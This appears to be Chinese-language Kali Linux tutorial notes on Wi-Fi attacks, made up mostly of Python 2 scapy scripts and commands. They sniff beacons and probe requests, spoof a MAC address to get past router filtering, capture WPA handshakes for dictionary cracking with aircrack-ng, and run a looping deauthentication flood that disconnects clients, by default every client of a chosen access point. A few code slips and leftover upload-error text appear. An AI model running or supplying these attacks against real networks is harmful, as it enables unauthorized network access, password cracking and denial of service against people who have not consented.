一、kali中的无线功能
from pythonwifi.iwlibs import Wireless
wifi=Wireless('wlan0mon')
print(wifi.getMode())
正在上传…重新上传取消转存失败重新上传取消
二、kali无线测试
from scapy.all import *
from scapy.layers.dot11 import Dot11Beacon
interface = 'wlan0mon'
ap_list = []
def info(fm):
if fm.haslayer(Dot11Beacon):
if fm.addr2 not in ap_list:
ap_list.append(fm.addr2)
print "SSID--> ",fm.info,"-- BSSID--> ",fm.addr2
sniff(iface=interface,prn=info)
from scapy.all import *
import subprocess
subprocess.call('airmon-ng start wlan0',shell=True)
iface="wlan0mon"
def dump_packet(pkt):
print pkt.summary()
while True:
sniff(iface=iface,prn=dump_packet,count=10,timeout=3,store=0)
from scapy.all import *
import subprocess
from scapy.layers.dot11 import Dot11ProbeResp, Dot11ProbeReq
#subprocess.call('airmon-ng start wlan0',shell=True)
iface="wlan0mon"
probe_req=[]
ap_name=raw_input("please input the ap name")
print ap_name
def probesniff(fm):
if fm.haslayer(Dot11ProbeReq):
client_name=fm.info
if client_name== ap_name:
if fm.addr2 not in probe_req:
print "New Probe Request:",client_name
print "Mac ",fm.addr2
probe_req.append(fm.addr2)
sniff(iface=iface,prn=probesniff)
from scapy.all import *
from scapy.layers.dot11 import Dot11ProbeReq, Dot11AssoReq
iface = "wlan0mon"
def handle_packet(packet):
if packet.haslayer(Dot11ProbeReq) or packet.haslayer(Dot11ProbeResp) or packet.haslayer(Dot11AssoReq):
print "Found SSID "+packet.info
print "Sniffing on interface "+iface
sniff(iface=iface,prn=handle_packet)
路由器限制只有MAC为特定的设备才能连接到网络中
ifconfig wlan0 down
ifconfig wlan0 hw ether CC:B0:DA:2D:44:80
ifconfig wlan0 up //先关闭,修改,在开启 重启后会失效
import subprocess
from scapy.all import *
subprocess.call('airmon-ng start wlan0',shell=True)
packets = []
def handle_packet(pkt):
if pkt.haslayer(EAPOL) and pkt.type == 2:
packets.append(pkt)
print packet.summary()
if len(packets) == 4:
wrpcap("wpa_handshake.pcap",packets)
sys.exit(0)
print "sniffing on interface "+"wlan0mon"
sniff(iface="wlan0mon",prn=handle_packet)
//通过kali的Aircrack解捕获的数据包
aircrack-ng -w dic.txt wep_handshake.pcap
#参数AP的BSSID 被踢设备的MAC地址
import time
from scapy.all import *
from construct.examples.protocols.ipstack import dest_unreachable_code
iface = "wlan0mon"
timeout=1
if len(sys.argv)<2:
print sys.argv[0] + " [client]"
sys.exit(0)
else:
bssid = sys.argv[1]
if len(sys.argv)==3:
dest = sys.argv[2]
else:
dest="ff:ff:ff:ff:ff:ff"
pkt=RadioTap()/Dot11(subtype=0xc,addr1=dest,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=3)
while True:
print "Sending deauth to "+dest
sendp(pkt,iface=iface)
time.sleep(timeout)
三、aircrack-ng工具
1.aircrack-ng组件表
2.破解WPA的wifi密码
3.hashcat破解WPA密码 (使用显卡加速)